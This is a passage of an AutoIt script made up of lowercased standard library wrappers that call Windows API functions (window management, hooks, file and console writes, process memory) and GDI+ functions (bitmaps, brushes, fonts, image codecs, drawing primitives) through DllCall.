If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
$ielementnum = UBound($velements)
EndIf
Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
If NOT $isearray Then
DllStructSetData($telements, "Element", $velements, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($telements, "Element", $velements[$x], $x + 1)
Next
EndIf
If NOT $iscarray Then
DllStructSetData($tcolors, "NewColor", $vcolors, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
Next
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_settextcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
_winapi_setlasterror(0)
Local $sfuncname = "SetWindowLongW"
If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowtext($hwnd, $stext)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_showcursor($fshow)
Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_showerror($stext, $fexit = True)
_winapi_msgbox(266256, "Error", $stext)
If $fexit Then Exit
EndFunc
Func _winapi_showmsg($stext)
_winapi_msgbox(64 + 4096, "Information", $stext)
EndFunc
Func _winapi_showwindow($hwnd, $icmdshow = 5)
Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_stringfromguid($pguid)
Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_stringlena($vstring)
Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring)
If @error Then Return SetError(1, @extended, 0)
Return $acall[0]
EndFunc
Func _winapi_stringlenw($vstring)
Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring)
If @error Then Return SetError(1, @extended, 0)
Return $acall[0]
EndFunc
Func _winapi_sublangid($lgid)
Return BitShift($lgid, 10)
EndFunc
Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_twipsperpixelx()
Local $lngdc, $twipsperpixelx
$lngdc = _winapi_getdc(0)
$twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixelx
EndFunc
Func _winapi_twipsperpixely()
Local $lngdc, $twipsperpixely
$lngdc = _winapi_getdc(0)
$twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixely
EndFunc
Func _winapi_unhookwindowshookex($hhk)
Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatewindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
Local $sunicodetype = "wstr"
If NOT IsString($punicode) Then $sunicodetype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
$aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
If $bretstring Then Return DllStructGetData($tmultibyte, 1)
Return $tmultibyte
EndFunc
Func _winapi_windowfrompoint(ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
If @error Then Return SetError(1, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_writeconsole($hconsole, $stext)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[5]
Return $aresult[0]
EndFunc
Global $ghgdipbrush = 0
Global $ghgdipdll = 0
Global $ghgdippen = 0
Global $gigdipref = 0
Global $gigdiptoken = 0
Func _gdiplus_arrowcapcreate($fheight, $fwidth, $bfilled = True)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateAdjustableArrowCap", "float", $fheight, "float", $fwidth, "bool", $bfilled, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[4])
EndFunc
Func _gdiplus_arrowcapdispose($hcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteCustomLineCap", "handle", $hcap)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_arrowcapgetfillstate($harrowcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetAdjustableArrowCapFillState", "handle", $harrowcap, "bool*", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_arrowcapgetheight($harrowcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetAdjustableArrowCapHeight", "handle", $harrowcap, "float*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_arrowcapgetmiddleinset($harrowcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetAdjustableArrowCapMiddleInset", "handle", $harrowcap, "float*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_arrowcapgetwidth($harrowcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetAdjustableArrowCapWidth", "handle", $harrowcap, "float*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_arrowcapsetfillstate($harrowcap, $bfilled = True)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetAdjustableArrowCapFillState", "handle", $harrowcap, "bool", $bfilled)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_arrowcapsetheight($harrowcap, $fheight)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetAdjustableArrowCapHeight", "handle", $harrowcap, "float", $fheight)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_arrowcapsetmiddleinset($harrowcap, $finset)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetAdjustableArrowCapMiddleInset", "handle", $harrowcap, "float", $finset)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_arrowcapsetwidth($harrowcap, $fwidth)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetAdjustableArrowCapWidth", "handle", $harrowcap, "float", $fwidth)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_bitmapclonearea($hbmp, $ileft, $itop, $iwidth, $iheight, $iformat = 137224)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCloneBitmapAreaI", "int", $ileft, "int", $itop, "int", $iwidth, "int", $iheight, "int", $iformat, "handle", $hbmp, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[7])
EndFunc
Func _gdiplus_bitmapcreatefromfile($sfilename)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateBitmapFromFile", "wstr", $sfilename, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_bitmapcreatefromgraphics($iwidth, $iheight, $hgraphics)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateBitmapFromGraphics", "int", $iwidth, "int", $iheight, "handle", $hgraphics, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[4])
EndFunc
Func _gdiplus_bitmapcreatefromhbitmap($hbmp, $hpal = 0)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateBitmapFromHBITMAP", "handle", $hbmp, "handle", $hpal, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _gdiplus_bitmapcreatehbitmapfrombitmap($hbitmap, $iargb = -16777216)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateHBITMAPFromBitmap", "handle", $hbitmap, "ptr*", 0, "dword", $iargb)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_bitmapdispose($hbitmap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDisposeImage", "handle", $hbitmap)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_bitmaplockbits($hbitmap, $ileft, $itop, $iwidth, $iheight, $iflags = $gdip_ilmread, $iformat = $gdip_pxf32rgb)
Local $tdata = DllStructCreate($taggdipbitmapdata)
Local $trect = DllStructCreate($tagrect)
DllStructSetData($trect, "Left", $ileft)
DllStructSetData($trect, "Top", $itop)
DllStructSetData($trect, "Right", $iwidth)
DllStructSetData($trect, "Bottom", $iheight)
Local $aresult = DllCall($ghgdipdll, "int", "GdipBitmapLockBits", "handle", $hbitmap, "struct*", $trect, "uint", $iflags, "int", $iformat, "struct*", $tdata)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $tdata)
EndFunc
Func _gdiplus_bitmapunlockbits($hbitmap, $tbitmapdata)
Local $aresult = DllCall($ghgdipdll, "int", "GdipBitmapUnlockBits", "handle", $hbitmap, "struct*", $tbitmapdata)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_brushclone($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCloneBrush", "handle", $hbrush, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_brushcreatesolid($iargb = -16777216)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateSolidFill", "int", $iargb, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_brushdispose($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteBrush", "handle", $hbrush)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_brushgetsolidcolor($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetSolidFillColor", "handle", $hbrush, "dword*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_brushgettype($hbrush)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetBrushType", "handle", $hbrush, "int*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_brushsetsolidcolor($hbrush, $iargb = -16777216)
Local $aresult = DllCall($ghgdipdll, "int", "GdipSetSolidFillColor", "handle", $hbrush, "dword", $iargb)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_customlinecapdispose($hcap)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteCustomLineCap", "handle", $hcap)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_decoders()
Local $icount = _gdiplus_decodersgetcount()
Local $isize = _gdiplus_decodersgetsize()
Local $tbuffer = DllStructCreate("byte[" & $isize & "]")
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageDecoders", "uint", $icount, "uint", $isize, "struct*", $tbuffer)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] <> 0 Then Return SetError($aresult[0], 0, 0)
Local $pbuffer = DllStructGetPtr($tbuffer)
Local $tcodec, $ainfo[$icount + 1][14]
$ainfo[0][0] = $icount
For $ii = 1 To $icount
$tcodec = DllStructCreate($taggdipimagecodecinfo, $pbuffer)
$ainfo[$ii][1] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "CLSID"))
$ainfo[$ii][2] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "FormatID"))
$ainfo[$ii][3] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "CodecName"))
$ainfo[$ii][4] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "DllName"))
$ainfo[$ii][5] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FormatDesc"))
$ainfo[$ii][6] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FileExt"))
$ainfo[$ii][7] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "MimeType"))
$ainfo[$ii][8] = DllStructGetData($tcodec, "Flags")
$ainfo[$ii][9] = DllStructGetData($tcodec, "Version")
$ainfo[$ii][10] = DllStructGetData($tcodec, "SigCount")
$ainfo[$ii][11] = DllStructGetData($tcodec, "SigSize")
$ainfo[$ii][12] = DllStructGetData($tcodec, "SigPattern")
$ainfo[$ii][13] = DllStructGetData($tcodec, "SigMask")
$pbuffer += DllStructGetSize($tcodec)
Next
Return $ainfo
EndFunc
Func _gdiplus_decodersgetcount()
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageDecodersSize", "uint*", 0, "uint*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[1])
EndFunc
Func _gdiplus_decodersgetsize()
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageDecodersSize", "uint*", 0, "uint*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_drawimagepoints($hgraphic, $himage, $nulx, $nuly, $nurx, $nury, $nllx, $nlly, $count = 3)
Local $tpoint = DllStructCreate("float X;float Y;float X2;float Y2;float X3;float Y3")
DllStructSetData($tpoint, "X", $nulx)
DllStructSetData($tpoint, "Y", $nuly)
DllStructSetData($tpoint, "X2", $nurx)
DllStructSetData($tpoint, "Y2", $nury)
DllStructSetData($tpoint, "X3", $nllx)
DllStructSetData($tpoint, "Y3", $nlly)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawImagePoints", "handle", $hgraphic, "handle", $himage, "struct*", $tpoint, "int", $count)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_encoders()
Local $icount = _gdiplus_encodersgetcount()
Local $isize = _gdiplus_encodersgetsize()
Local $tbuffer = DllStructCreate("byte[" & $isize & "]")
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncoders", "uint", $icount, "uint", $isize, "struct*", $tbuffer)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] <> 0 Then Return SetError($aresult[0], 0, 0)
Local $pbuffer = DllStructGetPtr($tbuffer)
Local $tcodec, $ainfo[$icount + 1][14]
$ainfo[0][0] = $icount
For $ii = 1 To $icount
$tcodec = DllStructCreate($taggdipimagecodecinfo, $pbuffer)
$ainfo[$ii][1] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "CLSID"))
$ainfo[$ii][2] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "FormatID"))
$ainfo[$ii][3] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "CodecName"))
$ainfo[$ii][4] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "DllName"))
$ainfo[$ii][5] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FormatDesc"))
$ainfo[$ii][6] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FileExt"))
$ainfo[$ii][7] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "MimeType"))
$ainfo[$ii][8] = DllStructGetData($tcodec, "Flags")
$ainfo[$ii][9] = DllStructGetData($tcodec, "Version")
$ainfo[$ii][10] = DllStructGetData($tcodec, "SigCount")
$ainfo[$ii][11] = DllStructGetData($tcodec, "SigSize")
$ainfo[$ii][12] = DllStructGetData($tcodec, "SigPattern")
$ainfo[$ii][13] = DllStructGetData($tcodec, "SigMask")
$pbuffer += DllStructGetSize($tcodec)
Next
Return $ainfo
EndFunc
Func _gdiplus_encodersgetclsid($sfileext)
Local $aencoders = _gdiplus_encoders()
For $ii = 1 To $aencoders[0][0]
If StringInStr($aencoders[$ii][6], "*." & $sfileext) > 0 Then Return $aencoders[$ii][1]
Next
Return SetError(-1, -1, "")
EndFunc
Func _gdiplus_encodersgetcount()
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[1])
EndFunc
Func _gdiplus_encodersgetparamlist($himage, $sencoder)
Local $isize = _gdiplus_encodersgetparamlistsize($himage, $sencoder)
If @error Then Return SetError(@error, -1, 0)
Local $tguid = _winapi_guidfromstring($sencoder)
Local $tbuffer = DllStructCreate("dword Count;byte Params[" & $isize - 4 & "]")
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetEncoderParameterList", "handle", $himage, "struct*", $tguid, "uint", $isize, "struct*", $tbuffer)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $tbuffer)
EndFunc
Func _gdiplus_encodersgetparamlistsize($himage, $sencoder)
Local $tguid = _winapi_guidfromstring($sencoder)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetEncoderParameterListSize", "handle", $himage, "struct*", $tguid, "uint*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _gdiplus_encodersgetsize()
Local $aresult = DllCall($ghgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0)
If @error Then Return SetError(@error, @extended, -1)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_fontcreate($hfamily, $fsize, $istyle = 0, $iunit = 3)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateFont", "handle", $hfamily, "float", $fsize, "int", $istyle, "int", $iunit, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[5])
EndFunc
Func _gdiplus_fontdispose($hfont)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteFont", "handle", $hfont)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_fontfamilycreate($sfamily)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateFontFamilyFromName", "wstr", $sfamily, "ptr", 0, "handle*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _gdiplus_fontfamilydispose($hfamily)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteFontFamily", "handle", $hfamily)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsclear($hgraphics, $iargb = -16777216)
Local $aresult = DllCall($ghgdipdll, "int", "GdipGraphicsClear", "handle", $hgraphics, "dword", $iargb)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicscreatefromhdc($hdc)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateFromHDC", "handle", $hdc, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_graphicscreatefromhwnd($hwnd)
Local $aresult = DllCall($ghgdipdll, "int", "GdipCreateFromHWND", "hwnd", $hwnd, "ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _gdiplus_graphicsdispose($hgraphics)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDeleteGraphics", "handle", $hgraphics)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawarc($hgraphics, $ix, $iy, $iwidth, $iheight, $fstartangle, $fsweepangle, $hpen = 0)
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawArcI", "handle", $hgraphics, "handle", $hpen, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "float", $fstartangle, "float", $fsweepangle)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawbezier($hgraphics, $ix1, $iy1, $ix2, $iy2, $ix3, $iy3, $ix4, $iy4, $hpen = 0)
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawBezierI", "handle", $hgraphics, "handle", $hpen, "int", $ix1, "int", $iy1, "int", $ix2, "int", $iy2, "int", $ix3, "int", $iy3, "int", $ix4, "int", $iy4)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawclosedcurve($hgraphics, $apoints, $hpen = 0)
Local $icount = $apoints[0][0]
Local $tpoints = DllStructCreate("long[" & $icount * 2 & "]")
For $ii = 1 To $icount
DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1)
DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2)
Next
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawClosedCurveI", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawcurve($hgraphics, $apoints, $hpen = 0)
Local $icount = $apoints[0][0]
Local $tpoints = DllStructCreate("long[" & $icount * 2 & "]")
For $ii = 1 To $icount
DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1)
DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2)
Next
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawCurveI", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawellipse($hgraphics, $ix, $iy, $iwidth, $iheight, $hpen = 0)
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawEllipseI", "handle", $hgraphics, "handle", $hpen, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawimage($hgraphics, $himage, $ix, $iy)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawImageI", "handle", $hgraphics, "handle", $himage, "int", $ix, "int", $iy)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawimagerect($hgraphics, $himage, $ix, $iy, $iw, $ih)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawImageRectI", "handle", $hgraphics, "handle", $himage, "int", $ix, "int", $iy, "int", $iw, "int", $ih)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawimagerectrect($hgraphics, $himage, $isrcx, $isrcy, $isrcwidth, $isrcheight, $idstx, $idsty, $idstwidth, $idstheight, $iunit = 2)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawImageRectRectI", "handle", $hgraphics, "handle", $himage, "int", $idstx, "int", $idsty, "int", $idstwidth, "int", $idstheight, "int", $isrcx, "int", $isrcy, "int", $isrcwidth, "int", $isrcheight, "int", $iunit, "int", 0, "int", 0, "int", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawline($hgraphics, $ix1, $iy1, $ix2, $iy2, $hpen = 0)
__gdiplus_pendefcreate($hpen)
Local $aresult = DllCall($ghgdipdll, "int", "GdipDrawLineI", "handle", $hgraphics, "handle", $hpen, "int", $ix1, "int", $iy1, "int", $ix2, "int", $iy2)
Local $tmperror = @error, $tmpextended = @extended
__gdiplus_pendefdispose()
If $tmperror Then Return SetError($tmperror, $tmpextended, False)
Return $aresult[0] = 0
EndFunc
Func _gdiplus_graphicsdrawpie($hgraphics, $ix, $iy, $iwidth, $iheight, $fstartangle, $fsweepangle, $hpen = 0)
__gdiplus_pendefcreate($hpen)
